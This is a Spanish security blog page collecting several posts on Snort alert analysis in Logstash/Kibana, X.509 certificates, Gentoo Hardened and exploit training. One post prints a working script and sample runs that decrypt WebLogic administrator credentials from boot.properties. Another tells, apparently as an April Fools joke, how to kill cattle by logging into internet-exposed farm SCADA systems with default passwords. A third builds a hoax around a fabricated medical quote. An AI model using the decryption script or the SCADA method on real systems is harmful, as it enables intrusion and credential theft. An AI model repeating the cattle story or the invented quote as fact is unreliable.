Blog de Seguridad de la Información de S2 Grupo
En Mateo, 25, 1 se dice: estad atentos y vigilad, pues no sabéis el día ni la hora. Esta admonición nos advierte de la necesidad de estar preparados (y en paz con las autoridades competentes) para el inevitable final que nos acecha a todos.
Sin embargo, esto no es de aplicación para el tan temido fin del soporte de Microsoft para el sistema operativo Windows XP. Al menos, en este caso, el día y la hora eran conocidos de antemano.
Hoy os voy a presentar el resultado del trabajo que hicimos en el post del otro día. Una vez cargados todos los datos, accedemos con nuestro navegador al puerto 9292 del equipo donde hemos desplegado Logstash (en nuestro caso nuestro propio equipo), y empezamos a jugar con todas las visualizaciones que proporciona . El resultado inicial es el siguiente:
Aquí podemos ver como hemos introducido varios parámetros de búsqueda, que coinciden con las categorías que proporciona Emerging Threats, el conjunto de reglas que usamos en la sonda que hemos utilizado para las pruebas.
A continuación aparece por defecto un histograma que nos permite ver, de un vistazo, qué tipos de ataques han sido los que más hemos sufrido. Como se puede apreciar, hay varios picos de alertas “ET SCAN” que corresponden con escaneos hacia nuestra infraestructura, así como varios picos de alertas del tipo “ET P2P”, que nos hacen pensar que alguno de nuestros usuarios ha utilizado herramientas P2P.
A partir de este punto es donde empezamos la personalización, generando nosotros mismos las visualizaciones que queramos.
La primera visualización interesante es la de terms, que para un campo concreto que le indiquemos, obtiene los valores más (o menos) comunes. Se puede configurar para que nos muestre los resultados en un gráfico de barras, de tarta, o en una lista simple (como veremos más adelante).
Además, nos permite mostrar el número de registros con otros valores fuera de los que muestra (‘Other values’), e incluso a los que les falta el campo que estamos visualizando (‘Missing’).
Utilizando esta visualización para las IP y los puertos origen y destino obtenemos una vista como la siguiente:
Seguidamente, vemos otra de las visualizaciones que hemos generado:
Aquí aparece, a la izquierda, una visualización de tipo terms sobre las firmas más comunes que han generado alertas. Este caso es ligeramente diferente, ya que para que funcione bien la visualización debemos seleccionar el campo sig_name.raw. Esto se debe a que elasticsearch por defecto procesa todos los campos que le llegan, separándolos en palabras, de forma que la visualización de tipo terms actuaría para cada palabra que forma la firma, dejando por ejemplo en primer lugar el término “ET” con un valor igual al número de alertas que se han generado. Para evitar esta separación y poder obtener el valor deseado, logstash añade por defecto a cada campo otro homónimo con el sufijo “.raw”, que marca para que no sea procesado por elasticsearch, dejando el resultado como se aprecia en la imagen anterior.
Otra visualización interesante es la de tendencias (trends), que compara, para cada una de las búsquedas que hemos realizado, su evolución temporal, en base a un intervalo prefijado. Si por ejemplo, fijamos el intervalo en 1 día, comparará el número de ocurrencias de cada búsqueda en las últimas 24h, y el valor para las 24h anteriores, mostrando la diferencia en porcentaje.
Para finalizar, tenemos un gráfico de tarta que muestra la distribución de los protocolos IP utilizados por las alertas generadas.
En la parte inferior de la página vemos otra visualización por defecto, se trata de un listado detallado con un número determinado de alertas, de entre todas las que cumplen los requisitos indicados en las búsquedas. Como ya indiqué en el anterior post, se pueden seleccionar campos para que se ordene la información por ellos, y abrir cada alerta para ver todos sus campos.
Para finalizar el post, os voy a mostrar otra visualización muy interesante, que se puede obtener modificando el fichero de configuración que generamos para cargar los datos, añadiendo las siguientes líneas en el apartado filter:
geoip {
database => "/usr/share/GeoIP/GeoLiteCity.dat"
source => ip_src
target => geoip_src
}
geoip {
database => "/usr/share/GeoIP/GeoLiteCity.dat"
source => ip_dst
target => geoip_dst
}
Con ello obtendremos dos nuevos campos, con los que podremos generar mapas localizando hasta la ciudad a la que pertenecen las IP origen y destino de las alertas, siempre que sea posible.
Para obtener estos mapas el panel se creará con la visualización bettermap, y el único campo que necesitaremos introducir es el Coordinate, donde debemos indicar, por ejemplo, el campo geoip_src.location si queremos generar un mapa con los orígenes de los ataques.
El resultado es el siguiente:
Por supuesto, el mapa es navegable y al pulsar en cualquiera de los puntos el mapa se acerca, mostrando un desglose específico de las alertas por área geográfica.
En las últimas semanas se ha cambiado el proveedor de mapas para esta visualización, por lo que es posible que no se cargue ningún mapa al generar esta visualización. Para solucionar este problema, tan sólo es necesario realizar el cambio que se muestra en este commit de GitHub en el fichero vendor/kibana/app/panels/bettermap/module.js dentro de la carpeta donde se encuentra logstash.
Espero que os haya gustado esta entrada, y os animéis a jugar con este gran conjunto de herramientas.
Siguiendo con la entrada anterior, que hablaba del estándar X.509 que define la estructura del certificado; nos quedaba pendiente revisar los campos fundamentales que componen el bloque de tbsCertificate, dentro de la estructura de X.509.
Este bloque contiene la información fundamental de la PKI, como emisor, suscriptor, caducidades, etc. Se detallan los campos más relevantes a continuación:
Para finalizar con la descripción de la estructura de un certificado empleando X.509, pasamos a detallar las principales extensiones empleadas en los certificados comerciales. Es importante destacar que estos campos son completamente opcionales. Son los siguientes:
Con esto ya hemos revisado la estructura y principales campos de la implementación X.509 de certificados digitales. Gracias por leernos, espero que la entrada os haya resultado de utilidad, espero vuestros comentarios.
Enlaces adicionales:
http://www.ietf.org/rfc/rfc5280.txt
Logstash es una herramienta muy potente, que permite visualizar y analizar gran cantidad de información de una forma ágil y cómoda, y que está teniendo una gran aceptación en muchos ámbitos diferentes. En mi anterior entrada, que he actualizado con detalles de funcionamiento de la última versión de LogStash publicada, os contaba cómo iniciarse en el uso de esta aplicación, y empezar a probar su gran potencial.
Hoy vamos a ver otro posible uso para esta magnífica aplicación. Se trata de realizar un pequeño análisis sobre las alertas que se han generado en una sonda Snort durante un periodo determinado de tiempo.
Para ello, lo primero es disponer de las alertas en un fichero, para que la aplicación las pueda procesar. Una consulta como la siguiente nos servirá para extraer la información al fichero /tmp/saw_dump.csv:
SELECT sig_name AS sig_name, dec2ip(ip_src) AS ip_src, layer4_sport AS port_src, dec2ip(ip_dst) AS ip_dst, layer4_dport AS port_dst, ip_proto AS ip_proto, timestamp AS timestamp FROM acid_event WHERE timestamp >= 20140301 and timestamp < 20140401 INTO OUTFILE'/tmp/saw_dump_march.csv' FIELDS TERMINATED BY ';' LINES TERMINATED BY '\n' ;
El fichero creado tendrá un contenido similar al siguiente:
ET P2P BitTorrent Announce ;AA.AA.AA.AA;18301;XX.XX.XX.XX;6969;6;2014-03-01
00:00:00
ET MALWARE User-Agent (Mozilla/4.0 (compatible ICS)) ;AA.AA.BB.BB;3289;
XX.XX.XX.XX;80;6;2014-03-01 00:00:00
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0) ;
AA.AA.CC.CC;62460;XX.XX.XX.XX;80;6;2014-03-01 00:00:00
ET P2P BitTorrent Announce ;AA.AA.DD.DD;18301;XX.XX.XX.XX;6969;6;2014-03-01
00:00:00
ET WEB_SERVER Outbound PHP User-Agent;AA.AA.EE.EE;53376;XX.XX.XX.XX;80;6;
2014-03-01 00:00:00
Si echamos un vistazo a los patrones que incluye por defecto vemos que, como era de esperar, no hay ninguno que coincida con la salida de nuestra consulta, por lo que tendremos que generar un patrón nuevo para poder procesar toda la información necesaria. Para ello, nos ayudaremos de la aplicación web Grok Debugger, que nos permite, a partir de un ejemplo de nuestro log, generar un patrón de forma sencilla.
La estructura de los patrones de Grok es la siguiente: %{SINTAXIS:SEMÁNTICA}. En SINTAXIS se define el nombre del patrón que se buscará (puede ser una cadena, una IP, un entero, una fecha, etcétera. En definitiva, cualquier patrón definido anteriormente), y en SEMÁNTICA qué nombre le vamos a dar en la salida a dicho parámetro. Con esto en mente, creamos los siguientes patrones para poder procesar correctamente el fichero de log que hemos generado:
SNORT_SIMPLE %{DATA:signature};%{IP:ip_src};%{POSINT:port_src};
%{IP:ip_dst};%{POSINT:port_dst};%{DATA:proto};%{TIMESTAMP:timestamp}
DATE_ENG %{YEAR}[./-]%{MONTHNUM}[./-]%{MONTHDAY}
TIMESTAMP %{DATE_ENG} %{TIME}
Estos patrones personalizados los guardamos en un fichero de texto, que luego indicaremos a Logstash para que los pueda interpretar.
Antes de continuar, apuntar un pequeño detalle; hemos generado el patrón a partir de un ejemplo, así que es posible que el patrón generado no cubra todos los posibles valores de entrada con los que nos podemos encontrar, por lo que será necesario, al menos al principio, revisar la salida por consola de LogStash o Kibana en busca de elementos con el tag “_grokparsefailure”.
Es el caso del siguiente mensaje:
Aquí vemos que, al tratarse de una alerta ICMP, los valores de los puertos son nulos por lo que aparece la cadena “\N”, que no coincide con el valor de entero positivo que habíamos asignado en nuestra definición de patrón, dando lugar al fallo. En este caso, debemos modificar dicho patrón para que tenga en cuenta que es posible que los valores de los puertos sean nulos, quedando el listado como sigue:
SNORT_SIMPLE %{DATA:signature};%{IP:ip_src};(?:%{POSINT:port_src}|\N);
%{IP:ip_dst};(?:%{POSINT:port_dst}|\N);
%{DATA:proto};%{TIMESTAMP:timestamp}
DATE_ENG %{YEAR}[./-]%{MONTHNUM}[./-]%{MONTHDAY}
TIMESTAMP %{DATE_ENG} %{TIME}
Ahora sólo nos falta configurar Logstash con el fichero a procesar, e indicarle dónde están los patrones que vamos a aplicar en este caso. Para ello, generamos un nuevo fichero de configuración (que hemos llamado logstash-snort.conf) con el siguiente contenido:
input {
file {
start_position => "beginning"
path => [ "/home/jvila/saw_dump_march.csv" ]
}
}
filter {
grok {
patterns_dir => "./patterns"
match => { "message" => "%{SNORT_SIMPLE}" }
}
date {
match => [ "timestamp", "yyyy-MM-dd HH:mm:ss" ]
locale => "en"
}
}
output {
elasticsearch { embedded => true }
}
Los cambios principales respecto al fichero mostrado en el artículo anterior los encontramos en la cadena que se busca en el filtro, y el formato de la fecha proporcionado por la base de datos.
Para finalizar, tan sólo debemos lanzar Logstash y esperar a que cargue toda la información necesaria, ejecutando por una parte el proceso que recopilará toda la información:
jvila@jvila:~/logstash-1.4.0$ bin/logstash -f logstash-snort.conf
Y por otra el que nos cargará la web:
jvila@jvila:~/logstash-1.4.0$ bin/logstash web
Mañana, si el editor me deja, os enseño el resultado y os explico algunas vistas que nos han parecido interesantes.
Estad atentos.
En esta entrada, dentro de nuestra serie dedicada a Certificados Digitales, nos vamos a centrar en la estructura e implementación de los certificados.
Creo que antes de comenzar es preciso realizar una aclaración, sé que hemos estado hablando continuamente de certificados, la tecnología criptográfica que emplean, la gestión que realizan de ellos las autoridades de certificación, los dispositivos hardware para gestión de claves criptográficas, etc. Por otra parte, también hemos hablado de el establecimiento, normativa y responsabilidades de una CA, así como de los servicios que prestan. Sin embargo, aún no hemos hablado de la implementación de los certificados, es decir, como se construyen y que formatos estructurales tienen. Este punto es el objeto de la presente entrada.
Para definir y establecer el contenido y estructura que debe tener un certificado digital se establece el estándar conocido normalmente como X.509, aunque su nombre completo es “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”, definido por el “Network Working Group” y definido en la RFC 5280. El estándar surgió originalmente en el año 1988, aunque la última versión vigente, X.509 v3, se aprobó en 2008.
La principal motivación de la definición de este estándar es la implementación de una Infraestructura de Clave Pública (en adelante PKI). Este hecho es fundamental, y es lo que distingue inequívocamente una clave criptográfica de un certificado digital. Las claves definidas por RSA únicamente son secuencias que permiten realizar el cifrado y descifrado de información, sin embargo el estándar X.509 establece parámetros para identificar al propietario del certificado, a su emisor (la autoridad de Certificación), fechas de emisión, caducidad, etc. Lo que nos lleva a pensar que sin este estándar nos resultaría imposible usar los certificados para, por ejemplo, firmar un documento electrónico.
Adicionalmente, este estándar también marca las directivas para la implementación de los mecanismos de validación que permiten a los usuarios de los certificados comprobar su validez en cualquier momento (más información sobre mecanismos de validación en anteriores entradas de este blog). Además, considera los conceptos de validación, rutas de certificación, revocación, etc. Esto nos da a entender que sin la definición de este estándar sería imposible establecer y operar una PKI.
Nos vamos a centrar en la especificación de la estructura y campos de un certificado digital, que se define fundamentalmente en el apartado 4 de la RFC. De forma gráfica, se muestra la estructura del certificado en la siguiente ilustración, diferenciando los campos que han sido incluidos a lo largo de las modificaciones incluidas en las diferentes versiones de X.509:
En la figura se muestra un orden de campos destinado a identificar los cambios en las versiones, sin embargo, estos campos se organizan categóricamente en tres grupos principales, que son los siguientes:
Con esto es todo en esta entrada, en breve una nueva entrada con un detalle completo de los campos fundamentales de tbsCertificate. Muchas gracias por seguirnos, como siempre quedo a la espera de vuestros comentarios.
En este post voy a hablar sobre una distribución, que por alguna misteriosa razón que no llego a entender, no suele ser utilizada. Hablo por supuesto, de Gentoo en su modalidad “Hardened”.
(N.d.A: Los siguientes párrafos evangelizan hacen una introducción a Gentoo, por lo que si el lector ya la conoce, puede saltar directamente a Gentoo Hardened)
Gentoo es una distribución rolling-release (lo que quiere decir que la distribución se actualiza continuamente con nuevas funcionalidades, además de para solucionar bugs). No obstante, su mayor característica es que los “paquetes” han de ser compilados por el usuario con una herramienta llamada “emerge”, que forma parte del sistema Portage.
Seguramente, el lector debe estar pensando que compilarse los propios paquetes es una pérdida de tiempo y que mejor gastar una Ubuntu / Debian / CentOS que ya te lo dan todo hecho. Pero, estamos en el año 2014 y si bien a comienzos del año 2000 la instalación de un sistema de escritorio podía durar una semana, con una máquina moderna podemos tener un sistema funcional en una noche, siempre y cuando sepamos lo que estamos haciendo. Y fíjense que estoy hablando de un sistema de escritorio, donde suele haber mayor cantidad software (y de mayor tamaño), que en un servidor.
Post escrito en colaboración con Ernesto Corral.
Cuando se preguntó en la lista de correo de la RootedCON cuanto se estaba dispuesto a pagar por un training de exploiting de Corelan en Madrid la primera respuesta que me pasó por la cabeza fue “shut up and take my money”.
Cuando más tarde se abrió la inscripción tanto Ernesto como un servidor fuimos algunos de los afortunados que conseguimos plaza en el training. Más de una semana ha pasado desde que terminó el training y queremos compartir nuestras impresiones.
Lo primero que quiero dejar claro es que cumplió nuestras expectativas con creces. Aunque se recomendaba tener una base de exploiting, la realidad es que se empezaba desde nivel 0. Vimos como son los internals de Windows, como funciona un debugger, incluso se hizo un repaso de algunas instrucciones de ensamblador. Y llegamos hasta la explotación del navegador utilizando técnicas de heap spray pasando por el camino por el bypass de las protecciones aslr y dep.
Hace unas semanas quedamos unos antiguos amigos para tomar unas cervezas en Madrid; viejos conocidos con los que en su momento compartí muchas noches conectado, y de los cuales algunos seguimos aún hoy trabajando en temas de seguridad. Con unas copas todo es más distendido, y hablando con Javi (nombre ficticio, of course) sobre cómo cambia todo con los años y las vueltas que da la vida, me estuvo contando cosas que, sinceramente, me dejaron un poco fuera de juego.
Y es que lo que estaba investigando en su trabajo (dirige la parte de seguridad de una empresa de automatización agrónoma) era cómo “ciberproteger” al ganado, porque matar animales por Internet es técnicamente posible aprovechando granjas conectadas a la red; esto lo habían investigado… y lo estaban probando. Por supuesto, le pedí que escribiera un post para SAW, de forma anónima, y lo que me remitió me dejó más fuera de juego todavía que lo que me contó esa noche… Ahí va, juzguen ustedes mismos…
—-
Matar a un animal en el ámbito físico es fácil, sobre todo los que no están sometidos a un control humano directo: si me acerco a un rebaño de ovejas con el pastor delante e intento degollar a una de ellas, seguramente el buen hombre o sus mastines acabarán conmigo… Si hago eso mismo en alta montaña, donde el ganado puede pasar días sin vigilancia humana —y si no están los mastines cerca, dicho sea de paso— la oveja no tiene nada que hacer. Es habitual, en zonas frías del norte de España (me vienen a la cabeza la zona oeste de Zamora y de León, el este de Galicia, la Cordillera Cantábrica…), dejar el ganado en las montañas durante días —semanas si la nieve impide subir a visitarlo—; aunque hace años los animales campaban a sus anchas, en la actualidad lo más normal es confinarlos en corrales donde, de manera automática, se les suministra agua y alimento, y además se les protege físicamente con cámaras y alarmas (el robo de ganado está a la orden del día). Evidentemente, estos sistemas de seguridad o de abastecimiento son completamente autónomos, e incluso se alimentan con energía solar para no depender de generadores de gasóleo. La duda que un técnico se plantea es… ¿habrá entornos de abastecimiento manejados por sistemas de control industrial… y conectados a Internet? Veremos que sí :)
Pero, ¿qué tiene que ver esto con la seguridad? Muy sencillo; hay animales que comen mientras tienen hambre, dejando de hacerlo una vez están saciados aunque tengan comida a su alrededor —por ejemplo, los gatos—, mientras que otros son capaces de comer hasta reventar, como muchas razas de perro. Un término medio son las vacas: el ganado vacuno pasta habitualmente de forma tranquila, pero si tiene hambre es capaz de hincharse demasiado (y eso sabemos que sienta mal). Si tenemos un rebaño sin comer ni beber durante un par de días y posteriormente les dejamos pastar, comerán mucho más de lo que deben. Y si ese alimento es grano, no hierba, y encima no les damos agua hasta que no han comido, sucede una cosa curiosa: la vaca comerá mucho grano porque tiene hambre, lo que incrementará su sed. Si cuando haya comido mucho grano, le dejamos beber agua, beberá mucha agua, que al mezclarse en el estómago del animal con la gran cantidad de grano producirá un efecto, digamos, curioso: el grano se hinchará y el estómago de la vaca reventará. ¿Y? Podemos intentar hacer esto de forma remota; para lograrlo sólo necesitamos unas cuantas cosas: un corral aislado sin presencia humana diaria, de esos del norte de España, con unas tolvas de grano y unos depósitos de agua controlados por SCADA y que ese mismo SCADA esté conectado a Internet. A buscar…
Lo primero que tenemos que hacer es averiguar si realmente hay sistemas SCADA que controlen la alimentación de explotaciones agropecuarias para, si existen, tratar de explotarlos. Utilizando nuestro buscador favorito podemos darnos cuenta de que sí que hay sistemas de este tipo y es más, pueden conectarse a Internet, generalmente a través de GPRS o radio; estos sistemas controlan tanto el silo donde se almacena el grano como la bajada de pienso a los comederos, así como la dosificación de agua para las reses. Muchos fabricantes están metiéndose en este negocio, porque parece ser que es bastante rentable (sobre todo en Estados Unidos y Australia) y, dicho sea de paso, lo hacen con la misma alegría y despreocupación con la que se meten en otros negocios donde conectan todo a Internet sin mayores problemas… en principio :) Uno de estos fabricantes es Automatic Farm Systems (http://www.afsproducts.com), estadounidense, cómo no, y uno de sus productos estrella son los silos donde se almacena —y con válvulas se dispensa— el grano (http://afsproducts.com/sites/default/files/file/Bulk%20Feed%20Tanks.pdf) así como las trituradoras para dárselo al ganado (http://afsproducts.com/sites/default/files/file/Hammermils.pdf). Recordemos, tenemos que evitar que se triture el grano para hacer efectivo el ataque.
Pero al igual que muchos fabricantes industriales, Automatic Farm Systems no fabrica la parte de automatización de sus productos: otros lo hacen por él. En el caso que nos interesa, un integrador destacado es Wilson Groom (http://www.wilsongroom.com), que ha desarrollado software ad hoc que habla con los productos de AFS, en concreto con los PLC de Allen-Bradley (Rockwell) que éstos incorporan, y que permiten el control de una explotación agropecuaria (¡oh, sorpresa!) desde Internet (literalmente, su publicidad indica que “it can be remotely accessed via any web browser, providing access from a wide variety of PC-based and smartphone platforms”). Vamos, que tenemos que buscar PLC de Rockwell, los usados por AFS, en España, y luego averiguar si se trata de una explotación o no. Resumiendo mucho este proceso, podemos empezar con Shodan buscando las firmas de estos PLC (hay varias, que no vamos a poner aquí, obviamente) y restringiendo nuestra búsqueda a España (country:ES); pero los PLC de Rockwell se usan para muchas cosas. ¿Cómo llegar a determinar que el PLC controla una explotación o no? Hay dos formas: la aproximada es usando Shodan; cuando el buscador es capaz de geolocalizar una IP hasta su ciudad, lo indica, mientras que si no es capaz, el campo está vacío:
Por supuesto, esto no es muy científico, pero bueno, es una primera aproximación. La segunda me gusta más: revisando las especificaciones técnicas de los productos de Wilson Groom (el integrador, ¿os acordáis?), disponibles en su web, vemos que esta gente utiliza una aplicación para mantenimiento remoto, contra sus propios sistemas desplegados en campo, que “por seguridad” no va a través del puerto 80, como va el acceso al sistema de control, sino que va por el puerto 9090/tcp, con usuario y contraseña, eso sí :)
Así, tenemos que buscar direccionamientos de PLC Rockwell en España, y que tengan el puerto 9090/tcp accesible. Volcamos la búsqueda de Shodan a un fichero, sacamos las direcciones IP y a partir de éstas buscamos direccionamientos con el 9090 abierto; una línea de script y obtenemos al menos diez dispositivos de control conectados a Internet que cumplen estas condiciones en España, de los cuales siete están sin geolocalización concreta (por debajo del país) en Shodan… estos serán nuestros objetivos principales (si alguno falla, iremos a por los geolocalizados).
La instalación de los PLC de Rockwell tiene, como tantos otros, un usuario web por defecto, con privilegios de control total sobre el sistema (de nuevo, no doy usuario y password, pero se puede obtener de listas de contraseñas públicas disponibles en Internet). Accedemos a uno de ellos que tiene esta configuración y que, aunque Shodan no geolocaliza, localizadores de IP —con la fiabilidad que éstos tienen, que es discutible— fijan en Asturias, fuera de las grandes ciudades y muy cerca del Parque Natural de Somiedo (una zona preciosa, dicho sea de paso):
Bien, parece que nos vamos acercando. Con las credenciales por defecto accedemos a lo que es un interfaz de un sistema de control de una granja real. Pero, ¿cómo podemos saber que se trata de una granja de ganado vacuno y no de pollos, por ejemplo? Evidentemente, prueba y error. La verdad, no sabemos si aparte de unas vacas hemos perjudicado a gallinas, cerdos u ovejas, aunque creemos que no, porque estos animales no suelen ubicarse lejos de zonas urbanas: los cerdos o las gallinas no se dejan en el monte durante días y días, sino que están en granjas o corrales cerca de los municipios. En fin, es un proceso, como decimos, de prueba y error, pero confiamos en que nuestra granja sea vacuna.
Ahora toca buscar cómo cortar el grano y el agua que el sistema proporciona a los animales, cruzar los dedos y ver si funciona; en los PLC de Rockwell tenemos un usuario por defecto, “administrator”, con una contraseña también por defecto, que no vamos a poner aquí pero todo el mundo conoce :) Como en muchas instalaciones, en la nuestra podemos probar si estas credenciales funcionan. Y sorpresa. SÍ que lo hacen:
¡Estamos dentro! Ahora tenemos que buscar dónde se controla la dispensación de agua y grano a los animales; para ir rápido, los manuales de la aplicación de control (como siempre, disponibles públicamente en la web del fabricante) nos son de gran utilidad; tenemos que llegar a la pantalla correspondiente:
En ella, en el menú superior del interfaz, tenemos todos las opciones de control de la alimentación; utilizaremos CLOSE tanto para la tolva de grano como para el depósito de agua, quedando entonces así:
Vemos que se resalta en rojo el indicador, porque desde luego cortar agua y alimento a los animales, bueno, bueno, no parece a priori… ¿Qué queda ahora? Esperar. Cuarenta y ocho horas, para ser exactos. Trascurrido este tiempo, abrimos el dispensador de la tolva de grano:
Esperamos un rato a que los animales coman lo suficiente para quedarse satisfechos… eso sí, sin agua, y, por ejemplo seis horas después, abrimos el depósito, volviendo a la situación normal:
Ahora sólo queda esperar a que la naturaleza siga su curso. A priori, las vacas habrán comido mucho grano y ahora beberán agua en cantidad, con lo que teóricamente, llegamos al resultado que buscábamos. A los animales les reventará el estómago (esto lo he visto personalmente y no es lo más agradable de mundo, créanme).
Realmente, no podemos saber si hemos tenido éxito, es decir, si hemos matado por Internet. Pero como las noticias vuelan, y más en zonas donde la ganadería es un pilar fundamental de la economía, durante los días posteriores a nuestra prueba consultamos la prensa local de la zona. En el diario “La Nueva Asturias” nos llamó la atención la siguiente noticia, fechada en febrero de 2014.
También nos llamó la atención la misma noticia en “El Cantábrico”, un diario del norte. 
¿Fallo en el sistema de alimentación? ¿Larga agonía? ¿Casualidad? No lo creo :) Parece que hemos logrado nuestro objetivo: matar a través de Internet. Vacas, no personas, por supuesto. Evidentemente este artículo resume bastantes horas de trabajo —no todo sale a la primera, pero tampoco se trata de detallar todos los problemas técnicos o no técnicos que nos vamos a encontrar en el camino— y da una visión muy simplificada del proceso, pero creo que ilustra bien la situación actual. He tratado de ocultar detalles técnicos que faciliten a un tercero repetir el ataque, aunque cualquiera con algo de tiempo y unos conocimientos mínimos podría realizarlo o, lo que es peor, automatizarlo por completo…
Es cierto que estas pruebas son un problemón para el ganadero, al que tratamos siempre de localizar para compensarle anónimamente por nuestros análisis (lo que tiene el tema agropecuario es que somos cuatro gatos y nos conocemos todos), pero creo que la prueba de concepto ha valido la pena. También nos hemos puesto en contacto tanto con el fabricante de los PLC como con la empresa que ha desarrollado los SCADA para informarles de estos problemas, pero en fin, que si yo fuera ganadero, y si además hoy no fuera el día que es, me preocuparía…
Weblogic es una plataforma creada por Oracle en la que se integran varios productos de la misma familia, que tienen por objetivo ayudar a la gestión de procesos de las empresas que lo utilizan. Desde el punto de vista más técnico podemos decir que se trata de una plataforma basada en java EE y compuesta por servidores de aplicaciones, middlewares, servidores web, etc. que permiten gestionar la configuración de cada uno de ellos de una forma totalmente integrada. Para acceder a esta plataforma se requiere un usuario, el cual se crea durante la fase de instalación del producto. Este usuario permite configurar todos los componentes y complementos necesarios para cada caso.
Durante la instalación en modo desarrollo, es decir, previo a paso a producción, el asistente de configuración genera un archivo de identidad de arranque (boot.properties) necesario para la administración inicial del servidor. La cuestión es que este archivo contiene el nombre de usuario y la contraseña del usuario administrador, aunque de forma cifrada.
Una vez establecidos el usuario y la contraseña, se puede ver cómo quedan guardados:
En este fichero, a simple vista, se puede observar que se almacenan las credenciales de forma segura. A pesar de ello, debemos saber que si un usuario malintencionado o intruso accediera al sistema donde reside, podría obtener los credenciales en claro.
Los pasos que se tendrían que realizar desde el propio sistema son los siguientes:
1.- Acceder al directorio [FMW_HOME]/wlserver_XX.Y/server/bin/
2.- Ejecutar el script setWLSEnv.sh para configurar las variables del entorno.
3.- Descargar el script en python (jython) decrypt.py y ejecutarlos de la siguiente manera:
~$ java weblogic.WLST decrypt.py
Ejemplos:
Obtener el password:
~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
domains/base_domain {AES}TV0pZXXXXXXXXXXXXXXXXXXXXXXXXXXXXXFjI6/zM\=
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
RESULT: micontrasenyacifrada
Obtener el usuario:
~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
domains/base_domain {AES}MhcB2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXFGHi5/jI\=
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
RESULT: miusuariocifrado
En este caso, es importante eliminar el fichero una vez hayamos terminado de parametrizar el servidor en modo desarrollo. De esta forma nos evitaremos que caiga en manos de quien no debe.
decrypt.py
#=============================================================================
# Jython Script for displaying de-crypted WebLogic boot.properties files
#
# To run, change to a WebLogic domain directory and execute:
#
#
# Add parameter '-?' to the end of the command line to display more help
#=============================================================================
import os
from java.io import FileInputStream
from java.util import Properties
from weblogic.management import EncryptionHelper
from weblogic.security.service import SecurityManager
from weblogic.security.subject import SubjectManager
#=============================================================================
# Main
#=============================================================================
def main():
#for arg in sys.argv:
# if arg.count(arg.strip()):
# printUsageAndExit()
saltFilePath=os.path.join('security', 'SerializedSystemIni.dat')
if not os.path.exists(saltFilePath):
print "Error: The script must be run from a WebLogic domain direcotry or
a directory containing '%s'" % saltFilePath
printUsageAndExit()
try:
open(saltFilePath, 'r').close()
except IOError:
print "Error: The file '%s' is not readable - check file permissions" % saltFilePath
printUsageAndExit()
processBootFiles(os.curdir, descryptPropsFile)
#=============================================================================
# Decrypt (Note, to encrypt just use: EncryptionHelper.encrypt(text))
#=============================================================================
def decrypt(text):
getKernelIdMethod = SecurityManager.getDeclaredMethod('getKernelIdentity', None)
getKernelIdMethod.accessible=1
return EncryptionHelper.decrypt(text, getKernelIdMethod.invoke(SecurityManager, None))
#=============================================================================
# Process Boot Files
#=============================================================================
def processBootFiles(rootPath, processFunc):
if not os.path.isdir(rootPath):
return
fileNames = os.listdir(rootPath)
for fileName in fileNames:
path = os.path.join(rootPath, fileName)
if os.path.isfile(path):
if fileName == 'boot.properties':
processFunc(path)
elif os.path.isdir(path):
processBootFiles(path, processFunc)
processFunc("./boot.properties")
#=============================================================================
# Decrypt Props File
#=============================================================================
def descryptPropsFile(filepath):
print
print '----- Decrypting %s -----' % filepath
try:
properties = Properties()
file = FileInputStream(filepath)
properties.load(file)
file.close()
for entry in properties.entrySet():
print '%s = %s' % (entry.key.strip(), java.lang.String(decrypt(entry.value.strip())))
except IOError:
print "Error: Unable to read file '%s' - check file permissions" % filepath
print
#=============================================================================
# Print Usage And Exit
#=============================================================================
def printUsageAndExit():
print
print 'wlsdecrypt.py'
print '-------------'
print
print "Jython Script for displaying de-crypted boot.properties files from a
WebLogic domain. Before running the script, change directory to the directory
that contains a WebLogic domain (or a directory containing 'security/
SerializedSystemIni.dat' and one or more associated 'boot.properties' files).
Run this script via WLST or directly via the Java/Jython launch command (the
latter option requires both 'jython.jar' and 'weblogic.jar' to be added to
the classpath)."
print
print 'Example Usage:'
print
print '> /opt/weblogic/wlsadm/weblogic92/common/bin/wlst.sh ~/home/chordadm/
wlsdecrypt.py (Unix)'
print
print '> C:\\bea\\weblogic92\\common\\bin wlst.cmd C: myscripts
wlsdecrypt.py (Windows)'
print
exit()
#
# Invoke main and end
#
main()
Ya dijimos en el anterior post de la serie que íbamos a fabricar un hoax; lo primero que queremos hacer es tocar la fibra sensible. ¿El dinero? No, la salud :) Queremos convencer a nuestros objetivos que correr más de diez kilómetros al día es perjudicial para ellos, aplicando algunas técnicas de persuasión sobre esta idea…
La primera, autoridad: que correr es malo no lo digo yo, que no me gusta el deporte, sino que lo dice un afamado médico especializado en la materia: el Dr. James Hetfield (que en sus ratos libres canta en un grupo amateur que está empezando en esto de la música y se llama Metallica… no sé si con ese nombre triunfarán algún día ;).
Este médico, que es el que opina que correr más de diez kilómetros al día es perjudicial para la salud, trabaja en un centro de reconocido prestigio como el UPMC (University of Pittsburgh Medical Center), un centro estadounidense real y, por lo que parece, de lo mejorcito en Medicina del Deporte (Google says). Estas son sus palabras iniciales:
“El hecho de que un ser humano corra más de diez kilómetros al día no sólo es perjudicial para su estado físico de salud inmediato —cansancio extremo, agujetas, tirones…— sino también para su salud a medio o largo plazo. Desde que abandonamos las cavernas y nos adaptamos a una vida sedentaria, el ser humano está preparado para caminar pequeños tramos -menos de cinco kilómetros es la distancia asumible- y, en ningún caso, para desplazarse a una velocidad significativa más de diez kilómetros. Distancias superiores tendrán un efecto negativo en la salud del individuo que no podrá ser tratado de forma alguna con el conocimiento médico actual”.
